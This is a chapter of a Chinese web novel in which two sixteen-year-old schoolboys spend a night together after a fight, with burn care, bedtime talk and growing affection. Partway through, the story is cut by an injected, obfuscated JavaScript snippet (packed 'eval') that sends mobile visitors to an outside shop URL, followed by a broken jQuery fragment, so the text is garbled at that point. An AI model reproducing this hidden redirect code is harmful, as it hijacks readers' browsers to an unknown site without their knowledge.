回家路上孙继扬始终一言不发。
他先是绕路去了家药店,买了一支烫伤药膏,然后带于毛毛回了滨湖雅苑。
于毛毛有一点点遗憾,他原本以为是去孙家大院儿的,他好喜欢那个大院子。
但他没敢出声问,跟杨昱几人分开后,孙继扬一句话都没和他说,应该是还在生气。
于毛毛没来过住宅区,从进小区大门后就四处看,没想到小区内部是这种构造,里面种着好多树和草,还有湖。
除了几栋楼比较高,看起来跟他们村子也差不多。
到家时快要十点钟,孙天海出差没在家,保姆阿姨也已经回家了,客厅的灯还留着,刚进门一股暖和的气流迎面扑来。
于毛毛悄悄打量着这个房子,客厅地板光滑地简直要映出人脸来,中间放置着一套白色真皮沙发,沙发前面有张桌子,上面摆着鲜花,对面是一台非常大的电视机。
整个屋子都华丽得不得了,还有股淡淡的香气。
孙继扬家怎么这么漂亮。
怎么会有人住在这么漂亮的地方。
于毛毛亦步亦趋地紧跟在沉默的孙继扬身后,进入一间卧室。
孙继扬把外套脱下来,转头打量了于毛毛片刻,仍然紧绷着一张脸,问出争执后的第一句话:“要洗澡吗?”
于毛毛低头看自己身上,又是麻酱、又是油、又是酒,非常难闻的样子,好像确实有必要洗一下。
他怯怯地点点头:“要洗。”
孙继扬带他进入浴室,教他淋浴和洗漱用品的用法。又去柜子里找出自己的T恤短裤,给他当睡衣穿。
于毛毛家里没有洗澡间,夏天时就晒点水冲一冲,冬天就得去镇上澡堂洗,这还是他头一次在这么高级的地方洗澡,水温适宜,洗漱用品也齐全,洗得非常痛快。
虽然已经供暖了,但卧室的温度还是比浴室要低不少的。于毛毛缩着肩膀从浴室走出来时,孙继扬正坐在床上打电话。
他光着上身,只穿着一条短裤,头发也没擦干,还在滴滴答答地往下滴水。
暖白色的皮肤看着就很有韧劲,背部肌肉线条非常优越,有种介于男人和男孩之间的性感。
于毛毛看着他赤裸的上半身,轻轻抖了一下。
光着身子不冷吗?他是在哪里洗澡的?
听见于毛毛从浴室出来的声音,孙继扬挂断电话转身,从床头柜上端起一个杯子递过来:“喝牛奶。”
于毛毛眼睛蓦地亮起来——他很喜欢喝奶,珠珠的奶水很充沛,有时候小羊羔吃不完,他奶就会挤出来,煮一碗给他喝。
他从孙继扬手里接过牛奶,微微尝了一口,幸福地眯起眼,这个奶带点甜味,比珠珠的奶更好喝呢。
看他捧着杯子喝得一脸满足,孙继扬便不再管他,开始忙活自己的事。
他拿起路上买的烫伤膏,拧开瓶盖后挤出一些,往胳膊上涂——他胳膊和胸前一片红通通的,是跟黄毛抢夺火锅时烫的。
还好冬天衣服穿得厚,不然又要跟夏天一样,得掉一层皮。
想到今年夏天咪咪头被烫掉皮的痛,孙继扬抬眼,忿忿地瞪了眼面前的罪魁祸首。
见他被烫伤,于毛毛本就很慌很愧疚,结果发现他直勾勾地瞪着自己不说话。
难道是需要自己的帮助?
喝牛奶的动作顿住,于毛毛忐忑地开口:“需要我帮你涂吗?”
孙继扬心里还有气,本能地想要拒绝。
两个男的涂药太奇怪了,况且于毛毛对自己心思那么明显,当然不能轻易遂了他的心愿。
可是又转念一想,于毛毛今天也是无妄之灾,遭受的一切都是受自己连累,想要一些补偿也未尝不可。
那万一他趁机占自己便宜怎么办?
但是自己受伤也是因为他,既然他想要求承担一些帮忙的义务,也应当给他这个机会。
不然就随他这一次?
孙继扬表面波澜不惊,内心天人交战
他抬眼凝视于毛毛,对方正紧张兮兮地看着自己,一副非常想帮忙的样子。
最终,像是认命一般,孙继扬把烫伤膏递了过去,起身挪到了床沿。
于毛毛见状,把手里的牛奶一口干了,接过药膏,并排坐到孙继扬身侧。
他挤了一大坨出来,轻轻涂抹到孙继扬的胸口上,不知道是不是因为有烫红痕迹的原因,孙继扬身上其他地方格外的白。
于毛毛悄悄拿他的肚子和自己的手作对比,发现孙继扬居然比自己要白好几个度!
是因为孙继扬每天都喝牛奶的原因吗?
于毛毛细细地涂抹着,擦到胸前一点,孙继扬发出“嘶”的一声,身体猛地一颤,抓紧胸前的手。
于毛毛被抓住手不敢动弹,心慌得很:“弄疼你了吗?”
他暗暗自责,肯定是自己劲太大。
孙继扬哼出一口气,心里暗叹果然,就知道于毛毛不会老老实实帮自己擦药。
借着擦药的理由,摸来摸去,简直就是在趁机占他便宜。
他有些责备地低头下头,盯着于毛毛——穿着自己的T恤,因为尺寸太大,脖子一侧露出大片的锁骨,刚洗完澡,瘦白的小脸被蒸得粉粉的,嫣红的嘴唇紧张地微抿,只睁着一双杏眼,水光艳艳地回望他。
孙继扬被盯得一阵脸热,药也没心情擦了,起身走到门边,“啪”一声关了灯。
“睡觉。”
“?”于毛毛不知他又是怎么了,只能乖乖躺到床上,心里还有一些疑问没敢问出口。
比如他俩要睡一张床吗?说这么大的一个家,没有其他房间吗?
但他没敢吱声儿,毕竟这是孙继扬的家,孙继扬想怎么安排都可以。
况且他也想和孙继扬睡一起,怕提醒后,孙继扬会真的让他去别的屋。
于毛毛把头埋进被子里深吸一口,满床都是熟悉的香味。
怪不得孙继扬身上总是那么香,原来连他的床都是香的。天天睡在香喷喷的床上,可不得腌入味儿嘛!
黑夜里,两人平躺在床上。
孙继扬的床很大,两个十六岁的男孩子睡起来绰绰有余,更何况于毛毛只占了床边一小块儿地方。
屋里彻底安静了,思绪又开始活跃起来。
孙继扬还在想今天那场架,想起黄毛差点端着火锅要泼于毛毛的场景,还是不免一阵后怕。
本来就细胳膊细腿的,身无几两肉,要是再落下什么疤,不得更难看吗?
毕竟被篮球砸一下都能摔得胳膊和头上都是伤。
细想想,这半年来,每次他打架,于毛毛都要跟着参与。
发现杜前要埋伏他,劝不过就跟着他去地下车库打架。
听到他要跟崔云飞约架,知道劝不动了,直接跑去找老师举报。
还有这次,面对一群凶神恶煞的社会混混,都敢上前把人骗走。
万一那群混混当场撞破他的谎话,于毛毛会遭到什么,他想都不敢想。
看着一副怂包样儿,却好像什么都敢干,死犟!
“为什么要把他们引走?”于毛毛都快要睡着时,听见孙继扬的声音。
于毛毛一下子清醒,房间的窗帘很厚重,外面的光透不进来,黑夜里什么也看见,却还是转头朝着孙继扬的方向说:“我怕他们找到你,会打你。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17945043|213290||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“为什么?”
“……”
“就那么……担心我?”一直被刻意回避的话,在黑暗的掩饰下,似乎也没那么难问出口。
“嗯。”于毛毛很诚实地承认了。
空气一下子变得浓稠。
“他们那天打你了吗?”
“踹我了。”
“啪”一声,床头灯被按亮,孙继扬坐起身。
“踹哪了?我看看。”
于毛毛也从床上爬起,撩起上衣,想让孙继扬看看他肚子上的脚印,撩开仔细找了半天,没见过太阳的肚子上白花花一片,什么印子也没有。
已经过去好些天,肚子上的青紫早就消了。
“没了。”于毛毛居然还有点失落。
孙继扬静静地看着撩起的小腹,突然抬手揉了揉他的腰。于毛毛被痒得抖了一下,但是没有躲开。
终于被人安慰了,内心好像更加委屈了,于毛毛想了想又说:“他们还抢了我的钱。”
“我赔给你。”
“不用了,就五块钱。”
两人又躺下,灯灭后,房间里又陷入一片黑暗。
迟到了许久的委屈漫上来,一发不可收拾,于毛毛翻身朝着里面侧躺,呢喃道:“但是那天没赶上公交车呢。”
孙继扬闻言也侧身看他:“那是怎么回家的?”
“……走着回的,到家天都很黑了,山路上可安静了,”于毛毛瑟缩了一下,好像现在才后知后觉感到害怕一般,“不过路上遇见一个开着拖拉机的施工队,载了我一段路。”
孙继扬沉默了很久,想象着伸手不见五指的夜里,那条崎岖又漫长的山路上,路上冷凄凄的,有一个背着笨重的大书包,独自向前行的小小身影。
瘦瘦的身躯,还担心他会不会跟人打架。又傻又呆的,胡乱编了个理由,就敢去引开了那群凶神恶煞的混混。
被冤枉、被造谣、被殴打、被抢劫,好像遇上自己后,他一直在受苦,在被欺负。
今晚肯定也被吓到了,应该得到一点安抚。
于毛毛轻轻嗅着被子上的香气,突然感觉到额头好像碰上个什么东西,有鼻息吹到了自己脸上。
是孙继扬贴上了他的额头。
两人第一次离得这么近,气息都交融在一起,于毛毛额头一阵发痒,放缓了呼吸。
“以后晚上再赶不上车回不去,就来我家。”孙继扬声音低低的。
顿了顿,他又说:“记住我家怎么走了吗?”
于毛毛闻言使劲得点了点头,想到对方看不见,轻快地“嗯”了一声。
黑暗中,孙继扬报了一串电话号码,“以后再遇见事情,记得给我打电话,”过了几秒后,他又说道,“你背一遍。”
于毛毛重复了一遍。
想了想,孙继扬又补充道:“没事也可以给我打电话。”
于毛毛心里默念了好几遍,想着明天去了学校,一定要记在自己每一科的课本上。
“你不生气了吗?”于毛毛小心地问他。
“生气!你做事前能不能考虑一下自己的安全?能不能听我的话?”
“能!”于毛毛信誓旦旦地承诺。
不经思索的回答,引得孙继扬一声哼笑。
听他笑了,于毛毛也放下心来,陷进软软的床垫中。
回想这惊心动魄的一晚上,逃课、翻墙、吃火锅、打架,还来孙继扬的家里睡觉了。
想到火锅店,于毛毛心痛地叹了口气。
“怎么了?”孙继扬疑惑地问。
“咱们还剩好几盘肉没吃完呢!”于毛毛十分可惜。
黑暗里发出一声低低地笑声。